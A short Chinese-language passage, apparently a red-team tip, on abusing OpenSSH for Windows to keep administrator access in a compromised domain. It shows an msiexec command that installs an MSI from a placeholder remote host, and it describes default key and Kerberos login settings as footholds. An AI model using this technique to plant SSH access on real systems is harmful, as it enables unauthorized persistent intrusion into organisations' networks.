01、利用方式
msiexec /i "http://x.x.x.x/OpenSSH-Win64.msi"
（2）在默认安装的情况下，配置文件：C:\ProgramData\ssh\sshd_config，默认的配置信息只有两行，如果不熟悉OpenSSH很难从配置文件中获取有效信息。
Match Group administrators AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
当然，它默认是允许密码登录，而在域环境中，其实是可以使用kerberos完成ssh认证和登录，这一点往往是被管理员忽略的，而恰恰是可以被我们所利用的地方。
02、可能存在的利用场景
（2）假设你已经获取了域内某台服务器的权限，你可以考虑使用OpenSSH结合私钥免密码登录的方式完成域内管理员权限维持，不也是一种权限维持的好办法嘛。